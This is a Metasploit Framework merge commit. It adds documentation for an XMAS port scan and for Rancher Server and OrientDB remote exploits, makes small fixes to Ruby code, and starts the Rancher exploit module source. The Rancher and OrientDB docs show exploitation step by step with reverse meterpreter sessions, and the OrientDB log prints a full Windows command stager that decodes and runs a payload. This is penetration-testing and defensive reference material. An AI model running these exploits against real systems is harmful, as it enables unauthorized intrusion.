Merging to prep for testing

Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master
bug/bundler_fix
bwatters-r7 2017-10-09 10:31:30 -05:00
commit fc5ab96ad6
14 changed files with 881 additions and 37 deletions

View File

@ -0,0 +1,91 @@
# Description
This module is used to determine if the ports on target machine are closed. It sends probes containing the FIN, PSH and URG flags. Scan is faster and stealthier compared to some other scans. Following action are performed depending on the state of ports -
#### OPEN|FILTERED Port:
Detects open|filtered port via no response to the segment
#### Closed Port:
Detects a closed port via a RST received in response to the FIN
# Required Permissions
XMAS scan requires the use of raw sockets, and thus cannot be performed from some Windows
systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.
# Options
**PORTS**
This is the list of TCP ports to test on each host.
Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
options is to scan `1-10000` ports.
**Timeout**
This options states the reply read timeout in milliseconds. Default value if `500`.
**RHOSTS**
The target address range is defined in this option.
**VERBOSE**
Gives detailed message about the scan of all the ports. It also shows the
ports that were not open/filtered.
# Verification Steps
1. Do: `use auxiliary/scanner/portscan/xmas`
2. Do: `set RHOSTS [IP]`
3. Do: `set PORTS [PORTS]`
4. Do: `run`
5. The open/filtered ports will be discovered, status will be printed indicating as such.
# Scenarios
### Metaspliotable 2
```
msf > use auxiliary/scanner/portscan/xmas
msf auxiliary(xmas) > set rhosts 192.168.45.159
rhosts => 192.168.45.159
msf auxiliary(xmas) > set ports 1-100
ports => 1-100
msf auxiliary(xmas) > run
[*] TCP OPEN|FILTERED 192.168.45.159:1
[*] TCP OPEN|FILTERED 192.168.45.159:3
[*] TCP OPEN|FILTERED 192.168.45.159:5
[*] TCP OPEN|FILTERED 192.168.45.159:8
[*] TCP OPEN|FILTERED 192.168.45.159:12
[*] TCP OPEN|FILTERED 192.168.45.159:14
[*] TCP OPEN|FILTERED 192.168.45.159:16
[*] TCP OPEN|FILTERED 192.168.45.159:19
[*] TCP OPEN|FILTERED 192.168.45.159:21
[*] TCP OPEN|FILTERED 192.168.45.159:37
[*] TCP OPEN|FILTERED 192.168.45.159:39
[*] TCP OPEN|FILTERED 192.168.45.159:41
[*] TCP OPEN|FILTERED 192.168.45.159:43
[*] TCP OPEN|FILTERED 192.168.45.159:49
[*] TCP OPEN|FILTERED 192.168.45.159:52
[*] TCP OPEN|FILTERED 192.168.45.159:53
[*] TCP OPEN|FILTERED 192.168.45.159:55
[*] TCP OPEN|FILTERED 192.168.45.159:57
[*] TCP OPEN|FILTERED 192.168.45.159:59
[*] TCP OPEN|FILTERED 192.168.45.159:61
[*] TCP OPEN|FILTERED 192.168.45.159:63
[*] TCP OPEN|FILTERED 192.168.45.159:65
[*] TCP OPEN|FILTERED 192.168.45.159:67
[*] TCP OPEN|FILTERED 192.168.45.159:69
[*] TCP OPEN|FILTERED 192.168.45.159:73
[*] TCP OPEN|FILTERED 192.168.45.159:89
[*] TCP OPEN|FILTERED 192.168.45.159:91
[*] TCP OPEN|FILTERED 192.168.45.159:93
[*] TCP OPEN|FILTERED 192.168.45.159:95
[*] TCP OPEN|FILTERED 192.168.45.159:97
[*] TCP OPEN|FILTERED 192.168.45.159:99
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,169 @@
# Vulnerable Application
Utilizing Rancher Server, an attacker can create a docker container
with the '/' path mounted with read/write permissions on the host
server that is running the docker container. As the docker container
executes command as uid 0 it is honored by the host operating system
allowing the attacker to edit/create files owned by root. This exploit
abuses this to creates a cron job in the '/etc/cron.d/' path of the
host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
Use `check` with verbose mode to get a list of exploitable Rancher
Hosts managed by the target system.
## Rancher setup
Rancher is deployed as a set of Docker containers. Running Rancher is
as simple as launching two containers. One container as the management
server and another container on a node as an agent.
This module was tested with Debian 9 and CentOS 7 as the host operating
system with Docker 17.06.1-ce and Rancher Server 1.6.2, all with
default installation.
### Install Debian 9
First [install Debian 9][1] with default task selection. This includes
the "*standard system utilities*".
### Install Docker CE
Then install a supported version of [Docker on Debian system][2].
```bash
# TL;DR
apt-get remove docker docker-engine
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
apt-key fingerprint 0EBFCD88
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
apt-get update
apt-get install docker-ce
docker run hello-world
```
### Rancher Server (Management)
I recommend doing a ['Rancher Server - Single Container (NON-HA)'
installation][3].
If Docker is installed, the command to start a single instance of
Rancher is simple.
```bash
# TL;DR
sudo docker run -d --restart=unless-stopped -p 8080:8080 rancher/server
```
If all is passing navigate to `http://[ip]:8080/`. You should see the
Rancher Server UI web application.
### Rancher Host (Agent)
Add a [new host][4] to Rancher Server so that the Docker host can be managed.
**Set Host Registration URL**
The first time that you add a host, you may be required to set up the
Host Registration URL.
* Navigate to Admin / Settings (`http://[ip]:8080/admin/settings`)
* Check if `"http://[ip]:8080/"` is set
* Click on Save.
**Add new host**
* Navigate to Infrastructure / Hosts (`http://[ip]:8080/env/1a5/infra/hosts`)
* Click on Add Host
* Copy the command from Point 5 (and remove sudo prefix)
`docker run --rm --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v1.2.2 http://[ip]:8080/v1/scripts/XXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXX`
* Paste and run the command on the host
The new host should pop up on the Hosts screen within a minute.
# Exploitation
This module is designed to gain root access on a Rancher Host.
## Options
- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated.
- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit.
- TARGETENV this is the target Rancher Environment. The default environment is `1a5`.
- TARGETHOST is the target Rancher Host. The default host is `1h1`.
By default access control is disabled, but if enabled, you need API
Keys with at least "restrictive" permission in the environment.
See Rancher docs for [api-keys][5] and [membership-roles][6].
- HttpUsername is for your Access Key
- HttpPassword is for your Secret Key
Advanced Options
- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`.
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
## Steps to exploit with module
- [ ] Start msfconsole
- [ ] use exploit/linux/http/rancher_server
- [ ] Set the options appropriately and set VERBOSE to true
- [ ] Verify it creates a docker container and it successfully runs
- [ ] After a minute a session should be opened from the agent server
## Example Output
```
msf > use exploit/linux/http/rancher_server
msf exploit(rancher_server) > set RHOST 192.168.91.111
RHOST => 192.168.91.111
msf exploit(rancher_server) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(rancher_server) > set LHOST 192.168.91.1
LHOST => 192.168.91.1
msf exploit(rancher_server) > set VERBOSE true
VERBOSE => true
msf exploit(rancher_server) > check
[+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted
[*] 192.168.91.111:8080 The target is vulnerable.
msf exploit(rancher_server) > exploit
[*] Started reverse TCP handler on 192.168.91.1:4444
[*] Setting container json request variables
[*] Creating the docker container command
[+] The docker container is created, waiting for it to deploy
[*] Waiting up to 60 seconds for docker container to start
[+] The docker container has stopped, now trying to remove it
[+] The docker container has been removed.
[*] Waiting for the cron job to run, can take up to 60 seconds
[*] Sending stage (40747 bytes) to 192.168.91.111
[*] Meterpreter session 1 opened (192.168.91.1:4444 -> 192.168.91.111:49948) at 2017-07-27 22:18:00 +0200
[+] Deleted /etc/cron.d/wlHVKGMA
[+] Deleted /tmp/jxKUxUyN
meterpreter > sysinfo
Computer : rancher
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
Architecture : x64
Meterpreter : x64/linux
meterpreter >
```
## Exploit Detection
Rancher Server has an [audit log][7]. While running this module two
events (create and delete) were logged. Even though the container is
deleted, its still able to be viewed from the link in the audit log.
## Mitigation
* Do not deploy a Rancher Host on the same host where the Rancher
Server is. Your entire rancher infrastructure is in [danger][8].
* Only allow trusted users to have more permissions than read-only.
Docker protection such as Username Namespaces could not be applied
because Rancher Agents run as a privileged container.
[1]:https://www.debian.org/releases/stretch/amd64/index.html.en
[2]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
[3]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha
[4]:https://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host
[5]:https://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/
[6]:https://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles
[7]:https://rancher.com/docs/rancher/v1.6/en/rancher-services/audit-log/
[8]:https://rancher.com/docs/rancher/v1.6/en/faqs/troubleshooting/#help-i-turned-on-access-controldocsrancherv16enconfigurationaccess-control-and-can-no-longer-access-rancher-how-do-i-reset-rancher-to-disable-access-control
[9]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/selinux/

View File

@ -0,0 +1,91 @@
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
The module is based on the public PoC found here: [securiteam](https://blogs.securiteam.com/index.php/archives/3318)
## Vulnerable Application
OrientDB 2.2.2 <= 2.2.22
## Installation
Download a vulnerable OrientDB version here: [orientdb](http://orientdb.com/download-previous/)
```
wget http://orientdb.com/download.php?file=orientdb-community-2.2.20.zip&os=multi
unzip orientdb-community-2.2.20.zip
chmod 755 bin/*.sh
chmod -R 777 config
cd bin
./server.sh
```
## References for running OrientDB
[Install](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Installation.html)
[Run](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Run-the-server.html)
## References for vulnerability
[securiteam](https://blogs.securiteam.com/index.php/archives/3318)
[palada](http://www.palada.net/index.php/2017/07/13/news-2112/)
[github](https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017)
## Verification Steps
1. Start `msfconsole`
2. `use exploit/multi/http/orientdb_exec`
3. `set rhost <RHOST>`
4. `set target <TARGET_NUMBER>`
5. `set workspace <WORKSPACE>`
6. `check`
7. **Verify** if the OrientDB instance is vulnerable
8. `run`
9. **Verify** you get a session
## Example Output
### OrientDB 2.2.20 on Windows XP
```
msf > use exploit/multi/http/orientdb_exec
msf exploit(orientdb_exec) > set rhost 2.2.2.2
rhost => 2.2.2.2
msf exploit(orientdb_exec) > set target 2
target => 2
msf exploit(orientdb_exec) > check
[+] Version: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
[+] 2.2.2.2:2480 The target is vulnerable.
msf exploit(orientdb_exec) > set verbose true
verbose => true
msf exploit(orientdb_exec) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:2480 - Sending command stager...
[*] Attempting to execute: echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAWNfbSQAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAByMQAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
[*] Command Stager progress - 4.02% done (4092/101881 bytes)
```
...snip...
```
[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>%TEMP%\aAqsZ.b64 & echo Set fs = CreateObject("Scripting.FileSystemObject") >>%TEMP%\uFLQh.vbs & echo Set file = fs.GetFile("%TEMP%\aAqsZ.b64") >>%TEMP%\uFLQh.vbs & echo If file.Size Then >>%TEMP%\uFLQh.vbs & echo Set fd = fs.OpenTextFile("%TEMP%\aAqsZ.b64", 1) >>%TEMP%\uFLQh.vbs & echo data = fd.ReadAll >>%TEMP%\uFLQh.vbs & echo data = Replace(data, vbCrLf, "") >>%TEMP%\uFLQh.vbs & echo data = base64_decode(data) >>%TEMP%\uFLQh.vbs & echo fd.Close >>%TEMP%\uFLQh.vbs & echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%TEMP%\tIzcO.exe", 2, True) >>%TEMP%\uFLQh.vbs & echo ofs.Write data >>%TEMP%\uFLQh.vbs & echo ofs.close >>%TEMP%\uFLQh.vbs & echo Set shell = CreateObject("Wscript.Shell") >>%TEMP%\uFLQh.vbs
[*] Command Stager progress - 98.40% done (100252/101881 bytes)
[*] Attempting to execute: echo shell.run "%TEMP%\tIzcO.exe", 0, false >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo Wscript.Echo "The file is empty." >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo Function base64_decode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Dim w1, w2, w3, w4, n, strOut >>%TEMP%\uFLQh.vbs & echo For n = 1 To Len(strIn) Step 4 >>%TEMP%\uFLQh.vbs & echo w1 = mimedecode(Mid(strIn, n, 1)) >>%TEMP%\uFLQh.vbs & echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>%TEMP%\uFLQh.vbs & echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>%TEMP%\uFLQh.vbs & echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>%TEMP%\uFLQh.vbs & echo If Not w2 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w3 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w4 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>%TEMP%\uFLQh.vbs & echo Next >>%TEMP%\uFLQh.vbs & echo base64_decode = strOut >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & echo Function mimedecode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>%TEMP%\uFLQh.vbs & echo If Len(strIn) = 0 Then >>%TEMP%\uFLQh.vbs & echo mimedecode = -1 : Exit Function >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & cscript //nologo %TEMP%\uFLQh.vbs & del %TEMP%\uFLQh.vbs & del %TEMP%\aAqsZ.b64
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
[*] Sending stage (956991 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:1422) at 2017-10-06 14:00:14 -0400
meterpreter > sysinfo
Computer : WINXP
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : GROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```

View File

@ -479,7 +479,7 @@ class Db
'SortIndex' => order_by
})
# Sentinal value meaning all
# Sentinel value meaning all
host_ranges.push(nil) if host_ranges.empty?
case
@ -717,7 +717,7 @@ class Db
'SortIndex' => order_by
})
# Sentinal value meaning all
# Sentinel value meaning all
host_ranges.push(nil) if host_ranges.empty?
ports = nil if ports.empty?
@ -1115,7 +1115,7 @@ class Db
def cmd_loot_help
print_line "Usage: loot <options>"
print_line " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]"
print_line " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]"
print_line " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]"
print_line " Del: loot -d [addr1 addr2 ...]"
print_line
print_line " -a,--add Add loot to the list of addresses, instead of listing"
@ -1187,34 +1187,38 @@ class Db
'Columns' => [ 'host', 'service', 'type', 'name', 'content', 'info', 'path' ],
})
# Sentinal value meaning all
# Sentinel value meaning all
host_ranges.push(nil) if host_ranges.empty?
if mode == :add
if info.nil?
print_error("Info required")
return
end
if filename.nil?
print_error("Loot file required")
return
end
if types.nil? or types.size != 1
print_error("Exactly one loot type is required")
return
end
type = types.first
name = File.basename(filename)
host_ranges.each do |range|
range.each do |host|
file = File.open(filename, "rb")
contents = file.read
lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name)
print_status("Added loot for #{host} (#{lootfile})")
if mode == :add
if host_ranges.compact.empty?
print_error('Address list required')
return
end
if info.nil?
print_error("Info required")
return
end
if filename.nil?
print_error("Loot file required")
return
end
if types.nil? or types.size != 1
print_error("Exactly one loot type is required")
return
end
type = types.first
name = File.basename(filename)
file = File.open(filename, "rb")
contents = file.read
host_ranges.each do |range|
range.each do |host|
lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name)
print_status("Added loot for #{host} (#{lootfile})")
end
end
return
end
return
end
each_host_range_chunk(host_ranges) do |host_search|
framework.db.hosts(framework.db.workspace, false, host_search).each do |host|

View File

@ -159,7 +159,7 @@ class Console::CommandDispatcher::Mimikatz
end
def system_check
unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
unless client.sys.config.is_system?
print_warning("Not currently running as SYSTEM")
return false
end

View File

@ -0,0 +1,234 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Rancher Server - Docker Exploit',
'Description' => %q(
Utilizing Rancher Server, an attacker can create a docker container
with the '/' path mounted with read/write permissions on the host
server that is running the docker container. As the docker container
executes command as uid 0 it is honored by the host operating system
allowing the attacker to edit/create files owed by root. This exploit
abuses this to creates a cron job in the '/etc/cron.d/' path of the
host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
Use `check` with verbose mode to get a list of exploitable Rancher
Hosts managed by the target system.
),
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
'License' => MSF_LICENSE,
'References' => [
'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
],
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Payload' => { 'Space' => 65000 },
'Targets' => [[ 'Linux', {} ]],
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 27, 2017'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
]
)
register_advanced_options(
[
